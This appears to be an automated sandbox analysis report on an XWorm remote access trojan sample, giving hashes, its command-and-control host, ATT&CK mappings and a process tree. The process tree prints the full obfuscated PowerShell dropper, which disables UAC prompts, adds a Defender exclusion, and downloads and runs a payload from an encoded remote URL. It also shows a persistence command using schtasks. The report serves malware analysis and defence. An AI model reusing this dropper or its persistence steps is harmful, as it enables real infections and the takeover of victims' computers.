xworm | 183a5a6477a06e439c82b04421d4424f7fc69694780cae4a87278d367753598a

General

Target

never.hta
Size

11KB
MD5

ea742132a205bf7b433598cb2a8fa3f5
SHA1

43a79f227c20901143be107f6922740acc54cf29
SHA256

183a5a6477a06e439c82b04421d4424f7fc69694780cae4a87278d367753598a
SHA512

3983d17c65890c9e5d52a2a486b97a7e3ffa3d5a9a81d25739ac33cfc0db9d68647d202d0c845183b4e6f019be398e6f3a339204e8f64e87a73327fb1d2553c4
SSDEEP

192:RxzslVZBh+kMufgTcPOGYhPE90KZEMx5DTmoRjtP/83anTnChFJkEFRhPSS:RWvMuYJOnTmoRtEKnTChISh6S

Score

10^/10

xworm defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

C2

needforrat.hopto.org:7000

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0008000000023c7f-51.dat	family_xworm
behavioral2/memory/3572-58-0x00000000000B0000-0x00000000000CA000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	1392	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1392	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
14	1392	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	new.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\new.lnk	new.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\new.lnk	new.exe

Executes dropped EXE 2 IoCs

pid	Process
3572	new.exe
2408	new.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\new = "C:\\Users\\Admin\\AppData\\Roaming\\new.exe"	new.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2328	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1392	powershell.exe
1392	powershell.exe
3572	new.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	3572	new.exe
Token: SeDebugPrivilege	3572	new.exe
Token: SeDebugPrivilege	2408	new.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3572	new.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1920 wrote to memory of 1392	1920	mshta.exe	84
PID 1920 wrote to memory of 1392	1920	mshta.exe	84
PID 1920 wrote to memory of 1392	1920	mshta.exe	84
PID 1392 wrote to memory of 3572	1392	powershell.exe	87
PID 1392 wrote to memory of 3572	1392	powershell.exe	87
PID 3572 wrote to memory of 2328	3572	new.exe	90
PID 3572 wrote to memory of 2328	3572	new.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\never.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function mTxDUxaScYmr($LqgFFPWj, $lVgtUaSQwbRXQClp){[IO.File]::WriteAllBytes($LqgFFPWj, $lVgtUaSQwbRXQClp)};function zYuVqWK($LqgFFPWj){if($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43858,43866,43866))) -eq $True){rundll32.exe $LqgFFPWj }elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43870,43873,43807))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $LqgFFPWj}elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43867,43873,43863))) -eq $True){misexec /qn /i $LqgFFPWj}else{Start-Process $LqgFFPWj}};function ueJWAHPbJFrFhUAtPKf($zxfGsNthtwq){$TCvpArgzJufvl = New-Object (BuXuLXiijdTMRmDi @(43836,43859,43874,43804,43845,43859,43856,43825,43866,43863,43859,43868,43874));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$lVgtUaSQwbRXQClp = $TCvpArgzJufvl.DownloadData($zxfGsNthtwq);return $lVgtUaSQwbRXQClp};function BuXuLXiijdTMRmDi($GfcAO){$dZwGHElOYQ=43758;$IHZVeSlpJsUJNPA=$Null;foreach($kTBuzMksTQXtM in $GfcAO){$IHZVeSlpJsUJNPA+=[char]($kTBuzMksTQXtM-$dZwGHElOYQ)};return $IHZVeSlpJsUJNPA};function uqElSPqCUKRSUqTItU(){$MhGWljTYDYPGF = $env:AppData + '\';Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0;$FxRqYVoPEMaIQDGEmVIr=$env:AppData; Add-MpPreference -ExclusionPath $FxRqYVoPEMaIQDGEmVIr;$dalTxgqsQiNh = $MhGWljTYDYPGF + 'new.exe'; if (Test-Path -Path $dalTxgqsQiNh){zYuVqWK $dalTxgqsQiNh;}Else{ $ztEoJaUP = ueJWAHPbJFrFhUAtPKf (BuXuLXiijdTMRmDi @(43862,43874,43874,43870,43816,43805,43805,43808,43807,43806,43804,43811,43812,43804,43807,43809,43804,43807,43807,43810,43805,43868,43859,43877,43804,43859,43878,43859));mTxDUxaScYmr $dalTxgqsQiNh $ztEoJaUP;zYuVqWK $dalTxgqsQiNh;};;;;}uqElSPqCUKRSUqTItU;" uac
  2⤵
  - UAC bypass
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Users\Admin\AppData\Roaming\new.exe
    "C:\Users\Admin\AppData\Roaming\new.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3572
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "new" /tr "C:\Users\Admin\AppData\Roaming\new.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2328

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v14jrath.hp2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\new.exe

Filesize
75KB

MD5
4c2a997fa2661fbfe14db1233b16364c

SHA1
e48025dbd61de286e13b25b144bf4da5da62761a

SHA256
c2a299f988158d07a573a21621b00b1577b7c232f91c1442ba30d272e4414c5d

SHA512
529a26f4769c7be0986e16d8e0bf37632b7b723a3e8d9fa8bb3f9cc4d766bd4d24a802d6aa43fe4df85c23cd680b0188c7e1eaff443a30203b298ba916aa0a57

Download Submit
memory/1392-24-0x00000000074D0000-0x0000000007502000-memory.dmp

Filesize
200KB

Download
memory/1392-61-0x00000000710B0000-0x0000000071860000-memory.dmp

Filesize
7.7MB

Download
memory/1392-0-0x00000000710BE000-0x00000000710BF000-memory.dmp

Filesize
4KB

Download
memory/1392-6-0x0000000005420000-0x0000000005486000-memory.dmp

Filesize
408KB

Download
memory/1392-5-0x0000000005380000-0x00000000053A2000-memory.dmp

Filesize
136KB

Download
memory/1392-7-0x0000000005500000-0x0000000005566000-memory.dmp

Filesize
408KB

Download
memory/1392-3-0x00000000055A0000-0x0000000005BC8000-memory.dmp

Filesize
6.2MB

Download
memory/1392-17-0x0000000005BD0000-0x0000000005F24000-memory.dmp

Filesize
3.3MB

Download
memory/1392-18-0x0000000006140000-0x000000000615E000-memory.dmp

Filesize
120KB

Download
memory/1392-19-0x0000000006160000-0x00000000061AC000-memory.dmp

Filesize
304KB

Download
memory/1392-20-0x00000000073F0000-0x0000000007486000-memory.dmp

Filesize
600KB

Download
memory/1392-21-0x0000000006650000-0x000000000666A000-memory.dmp

Filesize
104KB

Download
memory/1392-22-0x00000000066C0000-0x00000000066E2000-memory.dmp

Filesize
136KB

Download
memory/1392-23-0x0000000007A40000-0x0000000007FE4000-memory.dmp

Filesize
5.6MB

Download
memory/1392-4-0x00000000710B0000-0x0000000071860000-memory.dmp

Filesize
7.7MB

Download
memory/1392-26-0x00000000710B0000-0x0000000071860000-memory.dmp

Filesize
7.7MB

Download
memory/1392-2-0x00000000710B0000-0x0000000071860000-memory.dmp

Filesize
7.7MB

Download
memory/1392-37-0x0000000007510000-0x00000000075B3000-memory.dmp

Filesize
652KB

Download
memory/1392-38-0x00000000710B0000-0x0000000071860000-memory.dmp

Filesize
7.7MB

Download
memory/1392-39-0x00000000710B0000-0x0000000071860000-memory.dmp

Filesize
7.7MB

Download
memory/1392-36-0x00000000074B0000-0x00000000074CE000-memory.dmp

Filesize
120KB

Download
memory/1392-40-0x0000000008670000-0x0000000008CEA000-memory.dmp

Filesize
6.5MB

Download
memory/1392-41-0x0000000007690000-0x000000000769A000-memory.dmp

Filesize
40KB

Download
memory/1392-42-0x00000000077E0000-0x00000000077F1000-memory.dmp

Filesize
68KB

Download
memory/1392-43-0x0000000007830000-0x000000000783E000-memory.dmp

Filesize
56KB

Download
memory/1392-44-0x0000000007840000-0x0000000007854000-memory.dmp

Filesize
80KB

Download
memory/1392-45-0x0000000007890000-0x00000000078AA000-memory.dmp

Filesize
104KB

Download
memory/1392-46-0x0000000007880000-0x0000000007888000-memory.dmp

Filesize
32KB

Download
memory/1392-1-0x0000000001090000-0x00000000010C6000-memory.dmp

Filesize
216KB

Download
memory/1392-25-0x0000000072D80000-0x0000000072DCC000-memory.dmp

Filesize
304KB

Download
memory/3572-58-0x00000000000B0000-0x00000000000CA000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads